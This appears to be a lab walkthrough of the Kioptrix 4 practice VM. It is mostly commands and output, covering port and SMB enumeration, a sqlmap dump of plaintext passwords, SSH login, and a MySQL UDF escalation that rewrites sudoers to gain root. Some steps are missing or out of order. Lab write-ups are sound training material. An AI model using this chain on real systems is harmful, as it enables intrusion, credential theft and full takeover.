PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: | 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA) |_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP) MAC Address: 00:0C:29:09:FE:DB (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds
┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# more smb.result ================================================== | OS Information via RPC for 192.168.150.130 | ================================================== [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found OS information via SMB [*] Enumerating via 'srvinfo' [+] Found OS information via 'srvinfo' [+] After merging OS information we have the following result: OS: Linux/Unix (Samba 3.0.28a) OS version: '4.9' OS release: not supported OS build: not supported Native OS: Unix Native LAN manager: Samba 3.0.28a Platform id: '500' Server type: '0x809a03' Server type string: Wk Sv PrQ Unx NT SNT Kioptrix4 server (Samba, Ubuntu)
┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# cat smb.result | grep user [+] Server allows session using username '', password '' [*] Check for random user [+] Server allows session using username 'gmbklnrd', password '' [H] Rerunning enumeration with user 'gmbklnrd' might give more results [*] Enumerating users via 'querydispinfo' [+] Found 5 user(s) via 'querydispinfo' [*] Enumerating users via 'enumdomusers' [+] Found 5 user(s) via 'enumdomusers' [+] After merging user results we have 5 user(s) total: username: root username: loneferret username: john username: robert username: nobody
MSF-SMB
1 2 3 4 5 6
# 基于SMB协议扫描版本号 msf6 > use auxiliary/scanner/smb/smb_version # 扫描共享文件 msf6 > use auxiliary/scanner/smb/smb_enumshares # 基于SMB进行用户信息枚举 msf6 > use auxiliary/scanner/smb/smb_lookupsid
Web
HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081
┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# sqlmap -r sql.txt --leve 3 --batch --dbs available databases [3]: [*] information_schema [*] members [*] mysql
┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# sqlmap -r sql.txt --leve 3 --batch -D members --tables Database: members [1 table] +---------+ | members | +---------+
┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# sqlmap -r sql.txt --leve 3 --batch -D members -T members --dump Database: members Table: members [2 entries] +----+-----------------------+----------+ | id | password | username | +----+-----------------------+----------+ | 1 | MyNameIsJohn | john | | 2 | ADGAdsafdfwt4gadfga== | robert | +----+-----------------------+----------+
使用已知的user.list and pass.list进行密码喷洒
Web界面没有功能点
SSH
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# ssh -o HostKeyAlgorithms=ssh-rsa john@192.168.150.130 Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands john:~$ ┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# ssh -o HostKeyAlgorithms=ssh-rsa robert@192.168.150.130 Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands robert:~$
john@Kioptrix4:/tmp$ sudo -l [sudo] password for john: Sorry, user john may not run sudo on Kioptrix4.
john@Kioptrix4:/tmp$ find / -perm -u=s -type f 2>/dev/null /usr/lib/apache2/suexec /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/pt_chown /usr/bin/chsh /usr/bin/sudo /usr/bin/traceroute6.iputils /usr/bin/newgrp /usr/bin/sudoedit /usr/bin/chfn /usr/bin/arping /usr/bin/gpasswd /usr/bin/mtr /usr/bin/passwd /usr/bin/at /usr/sbin/pppd /usr/sbin/uuidd /lib/dhcp3-client/call-dhclient-script /bin/mount /bin/ping6 /bin/fusermount /bin/su /bin/ping /bin/umount /sbin/umount.cifs /sbin/mount.cifs # 没有,下一位 john@Kioptrix4:/home$ cd /var/www/ john@Kioptrix4:/var/www$ cat checklogin.php <?php ob_start(); $host="localhost"; // Host name $username="root"; // Mysql username $password=""; // Mysql password $db_name="members"; // Database name $tbl_name="members"; // Table name
# MySQL无密码,看看能不能第三方应用提权 john@Kioptrix4:/var/www$ whereis lib_mysqludf_sys.so lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so # 存在lib_mysqludf_sys.so,尝试udf提权 john@Kioptrix4:/var/www$ mysql -uroot -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 9786 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h'forhelp. Type '\c' to clear the buffer.
mysql>createfunction sys_eval returns string soname 'udf.so'; ERROR 1046 (3D000): No database selected mysql> use mysql Reading table information for completion oftableandcolumn names You can turn off this feature toget a quicker startup with-A
john@Kioptrix4:/var/www$ ls -la /etc/| grep sudoers -r--r----- 1 john john 557 2012-02-04 09:58 sudoers john@Kioptrix4:/var/www$ chmod +w /etc/sudoers john@Kioptrix4:/var/www$ ls -la /etc/| grep sudoers -rw-r----- 1 john john 557 2012-02-04 09:58 sudoers john@Kioptrix4:/var/www$ vi /etc/sudoers
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
john@Kioptrix4:/var/www$ sudo -l sudo: /etc/sudoers is mode 0640, should be 0440 john@Kioptrix4:/var/www$ chmod 0440 /etc/sudoers john@Kioptrix4:/var/www$ mysql -uroot -p Enter password: mysql> select sys_eval('chown -R root:root /etc/sudoers'); +---------------------------------------------+ | sys_eval('chown -R root:root /etc/sudoers') | +---------------------------------------------+ | | +---------------------------------------------+ 1 row inset (0.00 sec)
mysql> exit Bye
1 2 3 4 5 6 7 8 9
john@Kioptrix4:/var/www$ sudo -l User john may run the following commands on this host: (root) NOPASSWD: ALL john@Kioptrix4:/var/www$ sudo su root@Kioptrix4:/var/www# cd /root/ root@Kioptrix4:~# whoami root root@Kioptrix4:~# id uid=0(root) gid=0(root) groups=0(root)